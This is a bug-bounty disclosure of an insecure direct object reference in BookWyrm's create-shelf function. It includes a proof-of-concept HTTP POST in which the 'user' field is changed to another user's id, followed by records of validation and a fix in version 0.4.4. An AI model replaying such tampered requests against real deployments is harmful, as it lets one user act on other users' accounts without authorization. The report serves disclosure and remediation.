Insecure direct object references in `create-shelf` function in bookwyrm-social/bookwyrm


Reported on

Jul 14th 2022


Insecure direct object references in create-shelf function allows one user to create a shelf on behalf of another.

Proof of Concept

POST /create-shelf HTTP/2
Cookie: csrftoken=ZpIuGbCcxOyhta5bki4N46N7vknEAcpaG3881kcMAfWKBEYKEiLEeSc3Sr4lUTVa; django_language=en-us; sessionid=eehh5ghe5q98xephiv46onn3jixdgx7p
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrfmiddlewaretoken=aCHsAiZx3GMVTl4XkpU7hpChuv6mePSLRg76Vrz767ao1PXwEpBYrb1dRCN3ywoL&user=<others id>&name=from-other-user&description=133123123123&privacy=public

PoC Image



This vulnerability is capable of allows a user to create new shelves on other users' accounts, affecting the logic of the application.

We are processing your report and will contact the bookwyrm-social/bookwyrm team within 24 hours. 10 months ago
Mouse Reeve validated this vulnerability 10 months ago
Nhien.IT has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Mouse Reeve marked this as fixed in 0.4.4 with commit 44b86b 10 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation